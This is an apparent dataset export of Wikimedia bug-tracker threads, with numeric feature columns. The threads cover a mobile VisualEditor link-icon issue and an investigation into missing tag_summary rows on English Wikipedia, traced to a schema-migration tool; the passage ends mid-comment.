**Severity**: normal",High,80.0,1373672640,1399324087.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-5am5k4waw47kga4kfuau,task_description,invalid,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,9.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,2.5,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.5,1.0,7.5,1.0,1.0,8.5,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,1.5,9.5,2.5,0.5,1.0,0.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,3.745628415300547,0.5867486338797814,"On Google Chrome on Galaxy Note 2

1. open VE
2. 'click' on a link

Results:
The text cursor appears at the character of text selected.
The link editor icon appears below the character of text selected.
The text cursor makes it impossible? to click on the link editor icon.

One solution would be to place the link editor icon above the linked text, and ideally place it always at the end of the linked text instead of at the character where the text cursor.

--------------------------
**Version**: unspecified
**Severity**: normal"
238455,VisualEditor: Mobile Google Chrome text cursor hides link object icon,The mobile version of VisualEditor doesn't do text over-lays to avoid issues like this bug. Closing as INVALID now that work there is progressing.,,,1399324087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5am5k4waw47kga4kfuau,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,4.241379310344827,0.9655172413793104,The mobile version of VisualEditor doesn't do text over-lays to avoid issues like this bug. Closing as INVALID now that work there is progressing.
238451,VisualEditor: Mobile Google Chrome text cursor hides link object icon,"Clicking the link icon at the top of the article works, which is a reasonable workaround. Dropping priority.",,,1373681941,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5am5k4waw47kga4kfuau,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,10.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,4.333333333333333,0.8571428571428571,"Clicking the link icon at the top of the article works, which is a reasonable workaround. Dropping priority."
238444,VisualEditor: Mobile Google Chrome text cursor hides link object icon,"The link icon moves when the text cursor is moved.

It is possible to zoom in to press the link icon, but it is very fiddly.",,,1373680362,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5am5k4waw47kga4kfuau,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,3.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,10.0,7.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.7666666666666667,"The link icon moves when the text cursor is moved.

It is possible to zoom in to press the link icon, but it is very fiddly."
53254,tag_summary missing records,"tag_summary duplicates data in change_tag, but is missing some records. 

Eg:

select * from change_tag where ct_rev_id = 563615370;
+-----------+-----------+-----------+--------------+-----------+
| ct_rc_id  | ct_log_id | ct_rev_id | ct_tag       | ct_params |
+-----------+-----------+-----------+--------------+-----------+
| 589674173 |      NULL | 563615370 | visualeditor | NULL      |
+-----------+-----------+-----------+--------------+-----------+

select * from tag_summary where ts_rev_id = 563615370;
Empty set (0.01 sec)

Cause unknown at time of writing.

Relevant recent activity:

https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_tag_not_working_correctly

https://bugzilla.wikimedia.org/show_bug.cgi?id=40867

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1373656680,1382126117.0,PHID-USER-lxluxbieyr4tgfyp5jru,False,,False,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,7.5,1.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,3.5,12.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,5.464912280701754,0.6578947368421053,"tag_summary duplicates data in change_tag, but is missing some records. 

Eg:

select * from change_tag where ct_rev_id = 563615370;
+-----------+-----------+-----------+--------------+-----------+
| ct_rc_id  | ct_log_id | ct_rev_id | ct_tag       | ct_params |
+-----------+-----------+-----------+--------------+-----------+
| 589674173 |      NULL | 563615370 | visualeditor | NULL      |
+-----------+-----------+-----------+--------------+-----------+

select * from tag_summary where ts_rev_id = 563615370;
Empty set (0.01 sec)

Cause unknown at time of writing.

Relevant recent activity:

URL

URL

--------------------------
**Version**: unspecified
**Severity**: major"
237406,tag_summary missing records,That was bug 52077. Closing this.,,,1382126117,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.5,0.875,That was bug 52077. Closing this.
237398,tag_summary missing records,"Whatever is causing that (maybe just a misconfigured local filter?), it's most likely not related to this bug.",,,1374793514,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,0.0,3.875,1.0,"Whatever is causing that (maybe just a misconfigured local filter?), it's most likely not related to this bug."
237392,tag_summary missing records,"**swalling** wrote:

(In reply to comment #16)
> Much better, but I'm still seeing some issues:
> 
> Looking for 500 ""blanking"" tags gives 498 ""blanking"" plus 2 labeled as just
> ""mobile edit"".
> 
> http://en.wikipedia.org/w/api.
> php?action=query&list=recentchanges&rctag=blanking&rclimit=500&rcprop=user%7C
> comment%7Ctitle%7Ctags%7Ctimestamp

There are other strange things going on with tags... 

http://en.wikipedia.org/wiki/Wikipedia_talk:Tags#Incorrect_tagging

Not sure if it's related or if we should file a separate bug for incorrect tagging. I think mobile is also suffering from this issue (or was as of yesterday).",,,1374793105,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,12.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,16.0,2.0,2.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,4.0,12.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.345679012345679,0.691358024691358,"**swalling** wrote:

(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There are other strange things going on with tags... 

URL

Not sure if it's related or if we should file a separate bug for incorrect tagging. I think mobile is also suffering from this issue (or was as of yesterday)."
237386,tag_summary missing records,"As a follow up, the two problematic tags I note in Comment 16 are both recent.  It is possible they have a different underlying cause than the previous corruption.  For example, this might represent a logic error in how the ""mobile edit"" tag is being recorded.",,,1374065627,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,0.0,13.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,9.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,5.0,9.0,2.0,0.0,4.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.8,"As a follow up, the two problematic tags I note in Comment 16 are both recent.  It is possible they have a different underlying cause than the previous corruption.  For example, this might represent a logic error in how the ""mobile edit"" tag is being recorded."
237381,tag_summary missing records,"Much better, but I'm still seeing some issues:

Looking for 500 ""blanking"" tags gives 498 ""blanking"" plus 2 labeled as just ""mobile edit"".

http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rctag=blanking&rclimit=500&rcprop=user%7Ccomment%7Ctitle%7Ctags%7Ctimestamp",,,1374038167,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,8.0,3.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.388888888888889,0.8055555555555556,"Much better, but I'm still seeing some issues:

Looking for 500 ""blanking"" tags gives 498 ""blanking"" plus 2 labeled as just ""mobile edit"".

URL"
237376,tag_summary missing records,"(In reply to comment #14)
> Rebuild #2 of tag_summary has completed and the reports in comment 8 look
> better (to me). Anyone care to verify...

Appears to work for me, yes. Might be worth waiting for others to weigh-in, but from my POV this is fixed.",,,1374013186,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.025,0.825,"(In reply to comment #14)
QUOTE
QUOTE

Appears to work for me, yes. Might be worth waiting for others to weigh-in, but from my POV this is fixed."
237372,tag_summary missing records,Rebuild #2 of tag_summary has completed and the reports in comment 8 look better (to me). Anyone care to verify...,,,1374009940,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,3.8,0.96,Rebuild #2 of tag_summary has completed and the reports in comment 8 look better (to me). Anyone care to verify...
237367,tag_summary missing records,"Btw, change_tag still looks complete to me; the binlog shows no problems there. Should just be the tag_summary rebuild logic at fault.",,,1373998200,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.346153846153846,0.9230769230769231,"Btw, change_tag still looks complete to me; the binlog shows no problems there. Should just be the tag_summary rebuild logic at fault."
237364,tag_summary missing records,"As Robert suggested in comment 8, the rebuild process missed some rows where revisions had multiple tags.

The script has been fixed and will run in batches on enwiki today. More info shortly...",,,1373998082,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,11.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.2894736842105265,0.9473684210526315,"As Robert suggested in comment 8, the rebuild process missed some rows where revisions had multiple tags.

The script has been fixed and will run in batches on enwiki today. More info shortly..."
237358,tag_summary missing records,"Am investigating whether the tag_summary rebuild was conceptually flawed with regard to revisions with multiple tags, or not.

Also dumping enwiki binlogs on a slave (we have a month's worth) and pulling out all change_tag queries. Will reload them offline and join against a copy of change_tag to prove whether it is, in fact, completely intact.",,,1373924036,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,2.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,5.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,4.424242424242424,0.8333333333333334,"Am investigating whether the tag_summary rebuild was conceptually flawed with regard to revisions with multiple tags, or not.

Also dumping enwiki binlogs on a slave (we have a month's worth) and pulling out all change_tag queries. Will reload them offline and join against a copy of change_tag to prove whether it is, in fact, completely intact."
237353,tag_summary missing records,"Lowering priority a bit since I don't there is data loss here (the table that was used to recreate the data still exists).

James: Assigning to you to determine the priority for getting around to fixing this data (since it affects VE related data, and you know what metrics are being tracked).",,,1373909518,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,11.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,6.0,8.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,2.0,0.0,6.0,0.0,0.0,0.0,3.9193548387096775,0.7741935483870968,"Lowering priority a bit since I don't there is data loss here (the table that was used to recreate the data still exists).

James: Assigning to you to determine the priority for getting around to fixing this data (since it affects VE related data, and you know what metrics are being tracked)."
237348,tag_summary missing records,"(In reply to comment #8)
> A API query of 200 revisions tags as flagged as ""blanking"":
> While this query returns 200 entries, we find that only 188 of them report as
> actually having the ""blanking"" tag.

That's still the case today.",,,1373887905,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0476190476190474,0.8095238095238095,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

That's still the case today."
237342,tag_summary missing records,"Sorry to add to what I'm sure was a bit of a hectic day for someone, but I'm still seeing lingering bits of corruption.  Perhaps some sort of edge case that wasn't handled correctly by the rebuild?  99.9% of tags may be okay at this point, but here are some example that still seem to be errors.

A API query of 200 revisions tags as flagged as ""blanking"":

http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rctag=blanking&rclimit=200&rcprop=user%7Ccomment%7Ctitle%7Ctags%7Ctimestamp|ids&rccontinue=2013-07-12T22:20:40Z|589061595

While this query returns 200 entries, we find that only 188 of them report as actually having the ""blanking"" tag.

The remainder are things like 
  rcid=""590123889"" timestamp=""2013-07-12T14:30:16Z""
  <tag>visualeditor</tag>
  
  rcid=""590032703"" timestamp=""2013-07-12T00:33:31Z"" 
  <tag>mobile edit</tag>

Where some other tag is reported but the expected ""blanking"" tag is not reported.

For another example of this issue see the API query for the ""visualeditor-needcheck"" tag:

http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rctag=visualeditor-needcheck&rclimit=200&rcprop=user%7Ccomment%7Ctitle%7Ctags%7Ctimestamp|ids

This tag should only be applied if the ""visualeditor"" tag is also present, but we observe that most of the results have either ""visualeditor"" or ""visualeditor-needcheck"" but not both.  A few entries even have other tags entirely.


What appears to have happened is that rebuild didn't correctly handle cases where a single revision was subject to multiple tags.  Instead it looks as though the rebuilt table applies at most one tag to each of the historical revisions.  Most of the time that's okay since few revisions actually have multiple tags, but it still leaves a bit of corruption and missing data on the rare cases when a revision is expected to have multiple tags.",,,1373677187,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,1.5,0.25,0.25,1.25,1.0,5.0,1.5,0.0,0.25,0.25,1.25,1.0,0.0,0.5,0.0,1.0,0.0,6.5,10.0,0.25,1.0,0.25,0.5,0.0,1.0,0.0,0.0,0.0,0.25,0.0,0.0,6.25,1.5,0.5,1.0,0.0,0.5,0.0,0.25,0.0,0.0,0.25,0.0,2.0,0.25,0.5,0.0,0.75,0.5,13.25,0.0,1.25,0.0,0.75,0.25,0.0,0.0,0.25,0.0,0.0,0.25,1.25,0.0,0.0,0.5,0.75,0.0,5.25,3.5,4.5,2.75,2.25,7.75,0.0,0.0,0.0,0.0,1.75,0.25,2.25,0.0,1.75,10.0,2.25,0.25,4.5,0.0,1.75,0.0,2.25,2.0,0.25,1.75,0.0,0.75,1.0,3.9915123456790123,0.6966435185185185,"Sorry to add to what I'm sure was a bit of a hectic day for someone, but I'm still seeing lingering bits of corruption.  Perhaps some sort of edge case that wasn't handled correctly by the rebuild?  99.9% of tags may be okay at this point, but here are some example that still seem to be errors.

A API query of 200 revisions tags as flagged as ""blanking"":

URL

While this query returns 200 entries, we find that only 188 of them report as actually having the ""blanking"" tag.

The remainder are things like 
  rcid=""590123889"" timestamp=""2013-07-12T14:30:16Z""
  <tag>visualeditor</tag>
  
  rcid=""590032703"" timestamp=""2013-07-12T00:33:31Z"" 
  <tag>mobile edit</tag>

Where some other tag is reported but the expected ""blanking"" tag is not reported.

For another example of this issue see the API query for the ""visualeditor-needcheck"" tag:

URL

This tag should only be applied if the ""visualeditor"" tag is also present, but we observe that most of the results have either ""visualeditor"" or ""visualeditor-needcheck"" but not both.  A few entries even have other tags entirely.


What appears to have happened is that rebuild didn't correctly handle cases where a single revision was subject to multiple tags.  Instead it looks as though the rebuilt table applies at most one tag to each of the historical revisions.  Most of the time that's okay since few revisions actually have multiple tags, but it still leaves a bit of corruption and missing data on the rare cases when a revision is expected to have multiple tags."
237336,tag_summary missing records,"**swalling** wrote:

Just checked this on-wiki as well. Seems fixed.",,,1373672247,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8,"**swalling** wrote:

Just checked this on-wiki as well. Seems fixed."
237329,tag_summary missing records,enwiki.tag_summary rebuild is complete.,,,1373671971,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.2,1.0,enwiki.tag_summary rebuild is complete.
237322,tag_summary missing records,"Firstly, we've determined this problem occurred due to an (apparent) bug in pt-online-schema-change when using a combination of:

- A table without primary key
- A table with unique indexes that all include nullable columns
- An unfortunately timed REPLACE statement in normal db traffic

Posc does online table alteration by:

- Creating a copy of the table with altered schema
- Setting triggers on the original table to keep the copy updated
- Copying data across using a batch process

In this case, posc set a DELETE trigger on tag_summary using a poor UNIQUE index (ts_log_id) with low cardinality and a nullable field. Then during the batching process, an external REPLACE statement with ts_log_id=NULL caused many too many rows to be deleted in the temporary table being altered. Given that many rows in tag_summary have ts_log_id=NULL, the table was massively reduced in size.

Now to the fix:

We've checked the other wikis and found no problems; only enwiki was affected.

Furthermore, only enwiki.tag_summary was affected. We've verified that enwiki.change_tag is complete and did not suffer the same problem. This was based on:

- Index cardinality and table size information collected before running the schema migration
- An investigation of the events in the binary log surrounding the migration period

